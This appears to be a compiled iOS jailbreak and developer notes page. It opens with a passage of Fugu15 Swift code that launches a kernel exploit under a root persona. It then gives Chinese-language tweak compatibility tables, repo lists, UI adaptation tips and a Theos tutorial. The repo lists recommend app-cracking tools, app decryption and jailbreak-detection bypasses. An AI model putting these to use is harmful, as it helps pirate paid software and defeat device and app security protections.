    public static func supportsThisDevice() -> Fugu15SupportsThisDevice {
        // Test iOS version
        let osVersion = ProcessInfo.processInfo.operatingSystemVersion
        guard osVersion.majorVersion == 15,
              osVersion.minorVersion < 5 else {
            return .no(reason: "Fugu15 only supports iOS 15 - 15.4.1!")
        }
        
        // The exploits should support some 15.5 betas
        // Not implemented though
        /*if osVersion.minorVersion == 5 {
            var size = 1024
            let ptr  = UnsafeMutablePointer<UInt8>.allocate(capacity: size + 1)
            defer { ptr.deallocate() }
            
            let res = sysctlbyname("kern.osversion", ptr, &size, nil, 0)
            guard res == 0 else {
                return .no(reason: "Fugu15 failed to determine your OS version!")
            }
            
            ptr[size] = 0 // Ensure that the string is terminated
            
            let vStr = String(cString: ptr)
            
            let supported = ["19A5261w", "19A5281h", "19A5281j", "19A5297e"] // No idea if this is correct
            guard supported.contains(vStr) else {
                return .no(reason: "Fugu15 only supports iOS 15 - 15.4.1 (and some 15.5 betas)!")
            }
        }*/
        
        // Ensure device supports pointer authentication
        guard deviceSupports(cpuFeature: "PAuth") else {
            return .no(reason: "Fugu15 only supports PAC devices (iPhone XS and newer)!")
        }
        
        return .yes
    }
    
    public static func querySysctlBool(name: String) -> Bool {
        var size = 8
        let ptr  = UnsafeMutablePointer<UInt8>.allocate(capacity: size)
        defer { ptr.deallocate() }
        
        let res = sysctlbyname(name, ptr, &size, nil, 0)
        guard res == 0 else {
            return false
        }
        
        return ptr[0] != 0
    }
    
    public static func deviceSupports(cpuFeature: String) -> Bool {
        return querySysctlBool(name: "hw.optional.arm.FEAT_\(cpuFeature)")
    }
    
    /**
     * Launch kernel exploit. Requires path to oobPCI.
     *
     * - Parameter oobPCI: Path to the oobPCI executable
     * - Parameter logger: A function to log messages
     *
     * - Warning: This function blocks, do not call it on the main dispatch queue
     */
    public static func launchKernelExploit(oobPCI: URL, logger: @escaping (_ msg: String) -> Void) throws {
        switch supportsThisDevice() {
        case .yes:
            break
            
        case .no(reason: let reason):
            throw Fugu15LaunchError.deviceNotSupported(reason: reason)
        }
        
        // Create pipes to use for communication
        // We use control and log pipes
        let controlToChild = Pipe()
        let controlFromChild = Pipe()
        let logFromChild = Pipe()
        
        // We're entitled to do that ;)
        var attr: posix_spawnattr_t?
        posix_spawnattr_init(&attr)
        posix_spawnattr_set_persona_np(&attr, 99, 1)
        posix_spawnattr_set_persona_uid_np(&attr, 0)
        posix_spawnattr_set_persona_gid_np(&attr, 0)
        
        // Close unnecessary handles
        var fileActions: posix_spawn_file_actions_t?
        posix_spawn_file_actions_init(&fileActions)
        posix_spawn_file_actions_addclose(&fileActions, controlToChild.fileHandleForWriting.fileDescriptor)
        posix_spawn_file_actions_addclose(&fileActions, controlFromChild.fileHandleForReading.fileDescriptor)
        posix_spawn_file_actions_addclose(&fileActions, logFromChild.fileHandleForReading.fileDescriptor)
        
        var pid: pid_t = 0
        var argv: [UnsafeMutablePointer<CChar>?] = [
            strdup(CommandLine.arguments[0]),
            strdup("Fugu15_server"),
            strdup("\(controlToChild.fileHandleForReading.fileDescriptor)"),
            strdup("\(controlFromChild.fileHandleForWriting.fileDescriptor)"),
            strdup("\(logFromChild.fileHandleForWriting.fileDescriptor)"),
            nil
        ]
        
        defer {
            for arg in argv {
                free(arg)
            }
        }
        
        let result = posix_spawn(&pid, argv[0], &fileActions, &attr, &argv, environ)
        let err = errno
        guard result == 0 else {
            throw Fugu15LaunchError.posix_spawnFailed(result: result, errno: err)
        }
        
        try? controlToChild.fileHandleForReading.close()
        try? controlFromChild.fileHandleForWriting.close()
        try? logFromChild.fileHandleForWriting.close()
        
        DispatchQueue(label: "Fugu15-Logging").async {
            var buf = ""
            while true {
                do {
                    let data = try logFromChild.fileHandleForReading.read(upToCount: 1)
                    if data == nil || data?.count == 0 {
                        return
                    }
                    
                    if data.unsafelyUnwrapped[0] == 0xA /* newline */ {
                        logger(buf)
                        buf = ""
                    } else {
                        buf += String(data: data.unsafelyUnwrapped, encoding: .utf8) ?? ""
                    }
                } catch _ {
                    return
                }
            }
        }
        
        // Send ping
        let comm = ProcessCommunication(read: controlFromChild.fileHandleForReading, write: controlToChild.fileHandleForWriting)
        comm.sendCommand("ping")
        
        guard comm.receiveCommand() == ["pong"] else {
            throw Fugu15LaunchError.noPongReceived
        }
        
        comm.sendCommand("pwn", oobPCI.path)
        
        if comm.receiveCommand() != ["ok"] {
            throw Fugu15LaunchError.kexploitdFailed
        }
        
        comm.sendCommand("waitUntilDone")
        if comm.receiveCommand() != ["done"] {
            throw Fugu15LaunchError.kexploitdFailed
        }
        
        Self.comm = comm
    }
    
    public static func launch_iDownload() throws {
        guard let comm = Self.comm else {
            throw Fugu15LaunchError.canOnlyLaunchiDownloadAfterExploitRan
        }
        
        comm.sendCommand("launch_iDownload")
        let reply = comm.receiveCommand()
        if reply != ["done"] {
            throw Fugu15LaunchError.iDownloadLaunchFailed(reply: reply ?? [])
        }
    }
    
    /**
     * Call this method from your main function. Only returns if invoked without a Fugu15 command.
     */
    public static func mainHook() {
        if CommandLine.arguments.count > 1 {
            switch CommandLine.arguments[1] {
            case "Fugu15_server":
                let logOut = FileHandle(fileDescriptor: Int32(CommandLine.arguments[4])!, closeOnDealloc: true)
                Logger.logFileHandle = logOut
                
                guard let checkin = getDKCheckinData() else {
                    execv(Bundle.main.executablePath, CommandLine.unsafeArgv)
                    Logger.print("Failed to re-exec myself after failing DK checkin!")
                    fatalError("Failed to re-exec myself after failing DK checkin!")
                }
                
                serverMain(checkin: checkin)
            
            default:
                break
            }
        }
    }
}

iOS 15 运行插件适配表 Tweaks

在iOS 15中有多种方法可以获得微调注入。最值得注意的是,它有一个被拴住的越狱。因为我们还没有一个合适的无根的微调注入器,所以到目前为止我们还不能使用半栓式或半栓式越狱。

我们可以做的是通过使用开发内核来绑定设备,使用odysseyra1n进行引导,安装sub 2.3.1,然后重命名快照,以便它在重新引导时不会恢复。在iOS 15和强制密封中,这将在技术上砖化设备。但是,在checkm8设备上,我们仍然可以将它拴在一起引导(如果我们想要恢复和取消拴在一起,还可以将快照重命名回去)。

注入到应用中的调整只有在以下情况下才会生效:沙盒被破坏,或应用具有无沙盒授权。

NameCompatibleIssueDescriptionRepo
Accent✔️-iOS accent colors in macOS styleBigBoss
Amber⭕Changing flashlight color doesn't work when enabledAmber-ify your LED torchPoomSmart
Amelija✔️-Take full control of your wallpapers on the flyTwickd
Atria⭕Widgets bug out sometimesA proper homescreen layout editor for iOS 13-15Chariz
BatteryBoobs✔️-Enable Apple's hidden % in batteryDownload Deb
CC On & Off✔️-Toggle Wi-Fi and Bluetooth fully on/off from Control CenterPoomSmart
CCBalance✔️-Change the audio balance from CCKingPuffdaddi
CCSupport✔️-Support tweak for CC modulesopa334
Checkl0ck❌Crashes to safe mode. Not installable anyway since deb control file is munted.A11 devices like iPhone 8/X which have been jailbroken with Checkra1n cannot have passcode or FaceID/TouchID. Checkl0ck is a tweak for such devices to give you back the passcode and biometric capabilities.Havoc
ColorMeNotifs❌Crashes to safemodeBring colors to your notificationsPackix
ColorMyBattery✔️-Battery Color based on the battery percentagePackix
Dodo✔️-The perfect LS redesign.Ginsu Tweaks
Dress✔️-Dress up your lockscreenTaurige Github
DualClock 2⭕LS works, status bar doesn'tAdd 2 time zones to the LS and status barGinsu
EmojiPort (iOS 12.0-14.8)✔️Needs control file editing to installLatest emojis for iOS 12.0-14.8PoomSmart
Eneko✔️-Set a video as your wallpaperTaurige Github
Ersatz✔️-Replace any text, system-wideSkitty
Filza File Manager 64-bit⭕Pressing on .deb's/binaries crashes the appFile Manager for iPhone, iPad, iPod TouchTIGI Software
HideSerialNumber✔️-Hide Serial Number in Settings About pageichitaso
Kalm❌Respring loopsA beautiful first sightChariz
Laetus⭕User apps can't be injected without no-sandboxUnparalleled keyboard customisationSparkDev
LockApps✔️-Add an App Library with your favorite apps to the LSGinsu
Lower✔️-Change media controls/notifications height on iOS 11+Packix
Neonboard⭕Theming application icons are buggednoneArtikusHG
NewTerm 2✔️-A powerful terminal app for iOSChariz
OTADisabler✔️-Delete and disable OTA badgeichitaso
PerfectTime✔️-Adds second line in status bar for showing the date on notched devicesJohnzaro's
PomPom✔️-A tidy lock screen redesignnone
ProGesture❌Crashes to safemodeModern gestures, iPad features, and many unique features but lightweight and less battery drainPackix
QuitAll✔️-One tweak to quit them allChariz
Relocate Reborn⭕Doesn't change locationChanges GPS locationnone
Rose✔️-The most advanced and feature rich system wide haptic feedback tweakTaurige Github
S8Edge✔️-Brings Galaxy S8 Infinity to iOSBruno Andrade's Repo
Shuffle⭕Sometimes crashes settingsMix up your preferencesCreatureCoding
Snapper 2✔️-Pin screenshots on the screenHavoc
SnowBoard⭕Theming application icons are buggedTheming engineSparkDev
Spectrum✔️-Customize system colorsSkitty
Starfish Beta⭕Activating spotlight crashesThe long-awaited HS redesignDynastic
SwipeExtenderX⭕User apps can't be injected without no-sandboxReinvent your keyboard with this full remake of the legendary SwipeExpander tweak, designed to work on modern iOSChariz
System Info✔️-System information in Settings app > General > About, and other sections. Set boot-nonce, save shsh, battery info, etcARX8x
Tako❌Crashes to safemodeNotification priority hub tweakXyaman Repo
TetherMe✔️-Dynamically enables native tethering for iOS 8+ devicesBigBoss
Tranzlo⭕User apps can't be injected without no-sandboxA life savior translator tweakMiRO92
TweakSettings✔️-Dedicated settings app for tweaksCreatureCoding
Ultrasound✔️-The volume HUD you deserveDynastic
Vinyl✔️-A simplified look for the lockscreen music playerBigBoss
Xen HTML⭕Can't add widgetsRun HTML widgets on the Lockscreen and HomescreenMatchstic
croutons13✔️-Brings croutons tweak to iOS 13+Ren
dotto+✔️-Notifications, your styleDynastic
lockdown beta✔️-Re-enables passcode functionality on A10/A11 deviceskrit's repo

iOS 15.0-15.7不完美checkm8越狱

https://xlsn0w.github.io/jekyll/2022/08/28/XLsn0w/

Thor锤子抓包iOS教程

https://xlsn0w.github.io/jekyll/2022/08/25/XLsn0w/

SHSH证书固定随机值Nonce工具-TrollNonce

支持iOS 15.0 - 15.1.1, A10 - A15, 搭配使用TrollStore v1.0.9+

下载地址: https://github.com/opa334/TrollNonce

TrollStore 永久签名工具

下载地址: https://github.com/opa334/TrollStore/releases/

小火箭配置V2ray教程

https://xlsn0w.github.io/jekyll/2022/08/07/XLsn0w/

iOS 16 beta 5 重新显示电池百分比

https://xlsn0w.github.io/jekyll/2022/08/05/XLsn0w/

Github DNS 解析被污染

github 的一些域名的 DNS 解析被污染,导致DNS 解析过程无法通过域名取得正确的IP地址。

解决方案
打开 https://www.ipaddress.com/ 输入访问不了的域名

查询之后可以获得正确的 IP 地址

在本机的 host 文件中添加,建议使用 switchhosts 方便 host 管理

199.232.68.133 raw.githubusercontent.com
199.232.68.133 user-images.githubusercontent.com
199.232.68.133 avatars2.githubusercontent.com
199.232.68.133 avatars1.githubusercontent.com

添加以上几条 host 配置,页面的图片展示就正常了,homebrew 也能装了,nvm 也行动灵活了。

iOS 15 - iOS 16 开发 适配 总结帖

iOS16 Xcode14适配内容:

新增控件UICalendarView,显示日期支持单选与多选
新增控件UIEditMenuInteraction,取代 UIMenuController、UIMenuItem

新增控件UIFindInteraction 文本内容查找与替换
新增控件UIPasteControl 读取剪贴板中的内容,跨 App 读取需要授权弹框

UIImage 新增的构造函数,支持 SF Symbols 新增的类别 Variable
LARightStore 存储、获取 keychain 数据

iOS 16 真机调试开启,设置-隐私与安全-开发者模式

UIScreen.main 将会废弃,建议使用 (UIApplication.shared.connectedScenes.first as? UIWindowScene)?.screen
支持 setValue() 方法设置设备的方向,替换为 UIWindowScene 的 requestGeometryUpdate() 方法。
UISheetPresentationController 支持自定义显示的 UIViewController 的大小。
UINavigationItem 改动

新增属性 style 描述 UINavigationItem 在 UINavigationBar 上的布局
新增属性 backAction 用于自定义 UIViewController 返回button事件
新增属性 titleMenuProvider 用于给当前导航栏的标题添加操作菜单

UIPageControl 支持垂直显示、设置指示器、设置当前页图片。
UITableView、UICollectionView 使用 Cell Content Configuration 时支持使用 UIHostingConfiguration 包装 SwiftUI 代码定义 Cell 的内容。
UITableView、UICollectionView 新增 selfSizingInvalidation 参数,使Cell可以自动调整大小
UIMenu 支持尺寸 small 、 medium 、 large
UIDevice 获取设备信息时,只能获取设备的名称,隐私权限增强
WidgetFamily 新增分类 accessory ,支持 iOS 锁屏显示和 watchOS 表盘显示

URLSession 建议通过连接迁移来优化网络切换场景下的 TCP 连接重建,降低网络的延迟。

class ViewController: UIViewController {
    lazy var session: URLSession = {
        let configuration = URLSessionConfiguration.default
        // MultipathServiceType是一个枚举类型,App可以采用不同的策略来利用这些网络通道
        configuration.multipathServiceType = .handover
        let session = URLSession(configuration: configuration)
        return session
    }()

    override func viewDidLoad() {
        super.viewDidLoad()
    }
}


打开系统通知设置界面的 URL Scheme 从
UIApplicationOpenNotificationSettingsURLString替换为openNotificationSettingsURLString。
import UIKit

class ViewController: UIViewController {
    override func viewDidLoad() {
        super.viewDidLoad()
    }

    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
        // 新的通知设置URL Scheme
        let urlString = UIApplication.openNotificationSettingsURLString
        if let url = URL(string: urlString), UIApplication.shared.canOpenURL(url) {
            UIApplication.shared.open(url, options: [:], completionHandler: nil)
        }
    }
}


UIScreen.main即将被废弃,建议使用(UIApplication.shared.connectedScenes.first as? UIWindowScene)?.screen。
import UIKit

class ViewController: UIViewController {
    override func viewDidLoad() {
        super.viewDidLoad()

        // 新的获取UIScreen尺寸的方法
        if let screen = (UIApplication.shared.connectedScenes.first as? UIWindowScene)?.screen {
            print(screen)
        }
    }
}

对于iOS15适配汇总以及遇到的问题

注意:以下适配内容,必须适配的会以"必须"标出

UITableView Section的header增加默认间距
if (@available(iOS 15.0, *)) {
    self.tableView.sectionHeaderTopPadding = 0;
}

导航栏异样 iOS 15中,导航栏的问题比较明显,调试之后发现是UINavigationBar部分属性的设置在iOS 15上是无效的,查看导航栏特性API,苹果对导航栏的性能做了优化,默认情况下,如果导航栏与视图没有折叠,导航栏的背景透明,如果系统检测到有重叠的话,会变成毛玻璃的效果。

注意⚠️:UINavigationBarAppearance是iOS 13更新的API,iOS 15 navigationBar的相关属性设置要通过实例UINavigationBarAppearance来实现。

在iOS 13 UINavigationBar新增了scrollEdgeAppearance属性,但在iOS 14及更早的版本中此属性只应用在大标题导航栏上。在iOS 15中此属性适用于所有导航栏。

对于scrollEdgeAppearance属性的说明:

When a navigation controller contains a navigation bar and a scroll view, part of the scroll view’s content appears underneath the navigation bar. If the edge of the scrolled content reaches that bar, UIKit applies the appearance settings in this property.
If the value of this property is nil, UIKit uses the settings found in the standard Appearance property, modified to use a transparent background. If no navigation controller manages your navigation bar, UIKit ignores this property and uses the standard appearance of the navigation bar.

//旧代码
- (void)customizeInterface {
    //设置Nav的背景色和title色
    UINavigationBar *navigationBarAppearance = [UINavigationBar appearance];
    [navigationBarAppearance setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarMetrics:UIBarMetricsDefault];
    [navigationBarAppearance setShadowImage:[UIImage new]];
    [navigationBarAppearance setTintColor:[UIColor colorWithHexString:@"333333"]];//返回按钮的箭头颜色
    NSDictionary *textAttributes = @{
        NSFontAttributeName:[UIFont fontWithName:@"SourceHanSerifSC-Bold" size:18.0],
        NSForegroundColorAttributeName: [UIColor colorWithHexString:@"333333"],
    };
    [navigationBarAppearance setTitleTextAttributes:textAttributes];
    navigationBarAppearance.backIndicatorImage = [UIImage imageNamed:@"image_common_navBackBlack"];
    navigationBarAppearance.backIndicatorTransitionMaskImage = [UIImage imageNamed:@"image_common_navBackBlack"];
    [[UITextField appearance] setTintColor:kColorLightBlue];//设置UITextField的光标颜色
    [[UITextView appearance] setTintColor:kColorLightBlue];//设置UITextView的光标颜色
    [[UISearchBar appearance] setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarPosition:0 barMetrics:UIBarMetricsDefault];
}
//新代码
- (void)customizeInterface {
    //设置Nav的背景色和title色
    if (@available(iOS 13.0, *)) {
        UINavigationBarAppearance *appearance = [[UINavigationBarAppearance alloc] init];
        [appearance setBackgroundColor:[UIColor whiteColor]];
        [appearance setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]]];
        [appearance setShadowImage:[UIImage imageWithColor:[UIColor whiteColor]]];
        appearance.titleTextAttributes = @{NSFontAttributeName:[UIFont systemFontOfSize:18.0f weight:UIFontWeightSemibold],NSForegroundColorAttributeName: [UIColor colorWithHexString:@"333333"]};
        [appearance setBackIndicatorImage:[UIImage imageNamed:@"image_common_navBackBlack"] transitionMaskImage:[UIImage imageNamed:@"image_common_navBackBlack"]];
        [[UINavigationBar appearance] setScrollEdgeAppearance: appearance];
        [[UINavigationBar appearance] setStandardAppearance:appearance];

    }
    
    UINavigationBar *navigationBarAppearance = [UINavigationBar appearance];
    [navigationBarAppearance setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarMetrics:UIBarMetricsDefault];
    [navigationBarAppearance setShadowImage:[UIImage new]];
    [navigationBarAppearance setTintColor:[UIColor colorWithHexString:@"333333"]];
    [navigationBarAppearance setTitleTextAttributes:@{NSFontAttributeName:[UIFont systemFontOfSize:18.0f weight:UIFontWeightSemibold],NSForegroundColorAttributeName: [UIColor colorWithHexString:@"333333"]}];
    navigationBarAppearance.backIndicatorImage = [UIImage imageNamed:@"image_common_navBackBlack"];
    navigationBarAppearance.backIndicatorTransitionMaskImage = [UIImage imageNamed:@"image_common_navBackBlack"];

    [[UITextField appearance] setTintColor:[UIColor colorWithHexString:System_color]];
    [[UITextView appearance] setTintColor:[UIColor colorWithHexString:System_color]];
    [[UISearchBar appearance] setBackgroundImage:[UIImage imageWithColor:[UIColor whiteColor]] forBarPosition:0 barMetrics:UIBarMetricsDefault];
}

UITabbar

tabbar和navigationBar的问题属于同一类,tabbar背景颜色设置失效,字体设置失效,阴影设置失效问题。

//旧代码
self.tabBar.backgroundImage = UIColor.white.image
self.tabBar.shadowImage = UIColor.init(0xEEEEEE).image
item.setTitleTextAttributes(norTitleAttr, for: .normal)
item.setTitleTextAttributes(selTitleAttr, for: .selected)

注意⚠️:首先是背景色设置失效,需要用UITabBarAppearance来设置

//新代码
if #available(iOS 15, *) {
    let bar = UITabBarAppearance.init()
    bar.backgroundColor = UIColor.white
    bar.shadowImage = UIColor.init(0xEEEEEE).image
    let selTitleAttr = [
        NSAttributedString.Key.font: itemFont,
        NSAttributedString.Key.foregroundColor: UIColor.theme
    ]
    bar.stackedLayoutAppearance.selected.titleTextAttributes = selTitleAttr // 设置选中attributes
    self.tabBar.scrollEdgeAppearance = bar
    self.tabBar.standardAppearance = bar
}

注意⚠️:iOS 15.4及以上,在12小时制下,通过字符串获取NSDate取到的值为nil

注意⚠️:iOS 15.4及以上,在12小时制下,通过NSDate获取时间字符串HH情况下依旧取得12小时制结果。

注意⚠️:苹果官方对NSDateFormatter的解释中可以看出,要想在任何时候输出固定格式的日期,需要设置.local。

##OC
NSDateFormatter *dateFormatter = [[NSDateFormatter alloc]init];
dateFormatter.locale = [[NSLocale alloc] initWithLocaleIdentifier:@"zh_Hans_CN"];
// 或者
//dateFormatter.locale = [NSLocale systemLocale]; 
dateFormatter.calendar = [[NSCalendar alloc]initWithCalendarIdentifier:NSCalendarIdentifierISO8601];


##Swift
let formatter = DateFormatter()
formatter.locale = Locale.init(identifier: "zh_Hans_CN")
formatter.calendar = Calendar.init(identifier: .iso8601)

注意⚠️:如果我们需要使用日历相关,我们还需要设置dateFormatter的日历格式。
dateFormatter.calendar = [[NSCalendar alloc]initWithCalendarIdentifier:NSCalendarIdentifierISO8601];

+ (NSDateFormatter *)DateFormatter{
    NSDateFormatter *dateFormatter = [[NSDateFormatter alloc]init];
    dateFormatter.locale = [NSLocale systemLocale];
    dateFormatter.calendar = [[NSCalendar alloc]initWithCalendarIdentifier:NSCalendarIdentifierISO8601];
    return dateFormatter;
}

iOS iBoot

iBoot是一个二级bootloader,

负责iOS系统的恢复模式。 它可以在手机上运行也可以通过USB线或串口线连接到电脑上。

当设备不处于恢复模式时,iBoot会验证目前设备运行的iOS版本是否合法。

如果发现iOS系统版本非法,就会强迫设备系统重启并强制运行iBoot软件。

这个bootloader以加密的方式存储在设备内部, 是用来保护iOS系统完整性的重要组成部分。

void find_boot_images(void) {// 查找启动镜像
	PROFILE_ENTER('FBI');
#if WITH_BLOCKDEV
	struct blockdev *rom_bdev;
	uint32_t i;

	/* iterate over each of the rom devices, looking for images and syscfg data */
	for (i=0; i < sizeof(platform_image_devices)/sizeof(platform_image_devices[0]); i++) {
		rom_bdev = lookup_blockdev(platform_image_devices[i].name);
		if (!rom_bdev)
			continue;

		image_search_bdev(rom_bdev, platform_image_devices[i].image_table_offset, 0);
	}
	
#if WITH_SYSCFG
	/* hook up syscfg data */
	for (i=0; i < sizeof(platform_syscfg_devices)/sizeof(platform_syscfg_devices[0]); i++) {
		if (lookup_blockdev(platform_syscfg_devices[i].name)) {
			if (syscfgInitWithBdev(platform_syscfg_devices[i].name))
				break;
		}
	}
#endif /* WITH_SYSCFG */
#endif /* WITH_BLOCKDEV */
	
	image_dump_list(false);
	PROFILE_EXIT('FBI');
}

查看iOS固件验证关闭状态App

详情链接: https://xlsn0w.github.io/jekyll/2022/07/27/XLsn0w/

iOS逆向工程-Frida使用教程

详情链接: https://xlsn0w.github.io/jekyll/2022/07/28/XLsn0w/

MonkeyDev 支持Xcode 12安装

修复Xcode12 MacOSX Package Types.xcspec not found报错

下载地址: https://github.com/XLsn0w/MonkeyDev_Xcode12

遇到的问题

libstdc++

Xcode 10之后删除的libstdc++库

  1. 先下载下来这个项目,然后打开终端cd到libstdc--master文件夹;
  2. 如果你使用的是 Xcode 10,则将install-xcode_10.sh拖到终端中执行即可;
  3. Xcode 11 之后的版本则将install-xcode_11+.sh拖到终端中执行。

iOS file not found: /usr/lib/libstdc++.dylib

下载解压这个文件 https://github.com/MonkeyDev_Xcode12/Xcode11+libstdc++

~ % cd /Users/xlsn0w/libstdc- 

~ % sudo sh install-xcode_11+.sh

Theos

A cross-platform build system for creating iOS,
macOS, Linux, and Windows programs.

Home – Documentation – Get Help – @theosdev – Discord

iOS降级+SHSH备份教程

在线备份shsh2 : https://tsssaver.1conan.com/v2/

Cydia和Sileo 插件源使用指南

Cydia/Sileo 插件源使用指南

图片

Cydia /Sileo 自带源 都是正规, 非测试, 正版插件正版插件,

部分实用工具需要付费购买功能。

大部分插件可在下列源上安装。

https://apt.bingner.com (Cydia 自带)

http://apt.thebigboss.org/repofiles/cydia (Cydia 自带)

https://repo.chariz.com

https://repo.dynastic.com

https://repo.packix.com

https://havoc.app (Sileo 自带)

普通人到这里就行了, 多安装瞎搞,

平刷还能回来, 不能只能升级系统了

MYbloXX 降级必备

http://myxxdev.github.io

Odyssey https://repo.theodyssey.dev

Rollectra / SemiRestore11

平刷插件,理论上通用

http://xnu.science/repo

Succession iOS 通用平刷工具

https://samgisaninja.github.io/test/

https://samgisaninja.github.io

必备依赖包插件!

解决设置列表不显示插件入口(Preferenceloader)

插件不需要安装, 在你安装其他插件会自带附带安装

❶ AppList ❷ Cephei Tweak Support ❸ libcolorpicker

rpetrich个人 源:https://rpetri.ch/repo

❹ Preferenceloader ❺ RocketBootstrap

安装上述五个依赖解决!

AppSync Unified 必备!无视签名,随意安装

https://cydia.akemi.ai

ichitaso个人源

https://cydia.ichitaso.com

iCleaner Pro 必备!最强清理神器

https://ib-soft.net/cydia https://ib-soft.net/cydia/beta

Filza 必备!最强文件管理器

https://tigisoftware.com/cydia

Battery Health Enable 解决更换电池健康度显示问题

https://poomsmart.github.io/repo/

Bakgrunnur 真实后台

https://udevsharold.github.io/repo/

OTAEnabler 恢复系统更新

https://repo.cadoth.net

OTADisabler 屏蔽系统更新

https://cydia.ichitaso.com

CrashReporter 崩溃报告

https://cokepokes.github.io

Appstore++ 应用降级

https://cokepokes.github.io

CyDown 推荐! 一键破解收费

https://julio.hackyouriphone.org

CrackerXI 砸壳工具

http://cydia.iphonecake.com

FlyJB X 屏蔽越狱检测

https://repo.xsf1re.kr

A-Bypass 推荐!超强屏蔽越狱检测

https://repo.co.kr

Haoict 个人源 社交 APP 去广告,保存视频

https://haoict.github.io/cydia

ReProvision Reborn

复活版自签工具

https://repo.packix.com

Zebra 斑马越狱商店

https://getzbra.com/repo

Xenhtml 插件

https://xenpublic.incendo.ws

Xeninfo 插件

http://junesiphone.com/supersecret

Zetsu 分屏插件 iOS 14

https://dcsyhi1998.github.io

PullOver Pro 分屏

https://c1d3r.com/repo

MilkyWay 分屏

https://deontw.github.io/akusio-Repo-Mirror

shuffle 设置归类

https://creaturesurvive.github.io/repo

Shortmoji 2 键盘增强

https://miro92.com/repo/

h2 作者源

https://lzsxcl.github.io/repo

越狱以及Theos环境搭建

一、越狱以及Theos环境搭建
      在实现iOS注入前,需要搭建相关的越狱开发环境,具体需要安装的工具和步骤可以参考上一节《IOS平台GDB动态调试介绍》中第一小节的内容。

二、利用Theos实现注入
      在相关的环境配置好后,就可以着手对ios平台的程序进行注入了,这里使用的是Theos越狱工具开发工具包,该工具功能强大、易于安装、操作简单,是ios平台理想的越狱开发工具,有兴趣的读者可以在github上查看工具的源码。接下来主要介绍theos的相关操作。

2.1 新建工程
      在Mac终端的命令行中切换目录至常用的工程目录,并输入“/opt/theos/bin/nic.pl”命令,此时命令行会显示以下列表:
UseriMac:~ user$ /opt/theos/bin/nic.pl
NIC 2.0 - New Instance Creator
------------------------------
  [1.] iphone/application
  [2.] iphone/library
  [3.] iphone/preference_bundle
  [4.] iphone/tool
  [5.] iphone/tweak
      接下来选择“5”就能创建一个tweak工程,然后按照命令行提示输入要创建工程的配置信息,具体内容如下:
Choose a Template (required): 5
Project Name (required): test
Package Name [com.yourcompany.test]: com.gameprotect.test
Author/Maintainer Name [xx]: xxx
[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]: com.apple.springboard
[iphone/tweak] List of applications to terminate upon installation (space-separated, '-' for none) [SpringBoard]: SpringBoard
Instantiating iphone/tweak in testdxy/...
Done.
      其中Project Name、Package Name和Author Name都比较好理解;第四个MobileSubstrate Bundle filter是要注入程序的BundleID,默认的进程为com.apple.springboard,为了演示方便,在此先使用默认进程作为注入对象,读者可以根据各自需要输入对应的进程名;List of applications to terminate upon installation是tweak安装后要重启的进程名,该信息和刚输入的进程BundleID对应,此处笔者同样输入默认的进程名SpringBoard。配置输入完后命令行出现“Done.”时即完成了工程的创建工作。

Tweak工程目录文件介绍

control文件

  首先介绍的是control文件,该文件记录了工程的基本信息,新建的test工程中control文件各字段内容如下:
Package: com.gameprotect.test
Name: test
Depends: mobilesubstrate
Version: 0.0.1
Architecture: iphoneos-arm
Description: An awesome MobileSubstrate tweak!
Maintainer: xxx
Author: xxx
Section: Tweaks
   从上面的内容可以看出,Package、Name、Maintainer、Author等字段是在建立工程时由命令行输入的;
   而Depends、Version、Description等字段从字面意义也很好理解,
   值得说明的是Depends字段,读者可以根据需要指定工程的固件版本、软件程序等依赖条件,
   若运行环境不满足依赖条件则程序无法运行,这三个字段在一般情况下可以不用更改;
   最后是Architecture和Section字段,该字段指定了要安装的程序的设备架构以及程序类型,不能更改。

MakeFile文件

  接下来介绍MakeFile文件,该文件用来指定工程要用到的文件、框架等信息,
  新建的test工程中MakeFile文件各字段内容如下:
include theos/makefiles/common.mk
TWEAK_NAME = test
test_FILES = Tweak.xm
include $(THEOS_MAKE_PATH)/tweak.mk
after-install::
    install.exec "killall -9 SpringBoard"
   其中第一行的include字段指定了工程的common.mk文件,
   该文件通常不会变化,因此不需修改
   ;TWEAK_NAME字段填入的是建立工程时命令行输入的Project Name;
   test_FILES字段指定工程包含的源文件,如果工程中需要用到多个源文件则用空格将各个文件名分开;
   第三行的include字段指定工程的mk文件,这里新建的是tweak工程,
   所以填入的是tweak.mk文件,还可以根据需求填入application.mk以及tweak.mk文件;
   最后一行after-install字段指定安装程序后需要执行的操作,
   这里需要注入SpringBoard进程并执行自己的代码,
   因此需要重启SpringBoard进程达到目的。
   
   MakeFile文件除了自动生成的这些字段外,
   还可以根据功能手动添加其他字段:
   ARCHS字段可以用来指定处理器架构,
   一般情况下填写“ARCHS = arm64 arm64e”即可;
   TARGET字段用来指定SDK版本;
   framework字段可以指定要导入的框架,
   比如这里的测试demo中填写的是“test_FRAMEWORKS = UIKit”,
   UIKit为后续测试代码需要用到的框架,
   另一方面,还可以通过test_PRIVATE_FRAMEWORKS字段指定要导入的私有库,
   格式不变。
   
 测试的MakeFile文件修改后的完整内容如下:
ARCHS = armv7 arm64
include theos/makefiles/common.mk
TWEAK_NAME = test
test_FILES = Tweak.xm
test_FRAMEWORKS = UIKit
include $(THEOS_MAKE_PATH)/tweak.mk
after-install::
    install.exec "killall -9 SpringBoard"

Contributors

-----------------------------------

“MonkeyDev error: Signing for “xlsn0wDylib” requires a development team.”

“Select a development team in the Signing & Capabilities editor.”

在Xcode中 选中Dylib对应的target (in target ‘xlsn0wDylib’)

点击Build Settings 中

添加"CODE_SIGNING_ALLOWED = NO" 关闭对Dylib的Code签名

-----------------------------------

Cydia Substrate

- 底层使用Method Swizzle 和 fishhook实现

Cydia Substrate 原名为 Mobile Substrate 由SaurikIT开发 它的主要作用是针对OC方法、C函数以及函数地址进行HOOK操作。当然它并不是仅仅针对iOS而设计的,安卓一样可以用。 官方地址:http://www.cydiasubstrate.com/

libsubstrate.dylib 库文件

libsubstitute.dylib 库文件

从越狱的iPhone上拷贝/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate 到Mac电脑的目录 /opt/theos/lib/ ,并修改名称为 libsubstrate.dylib

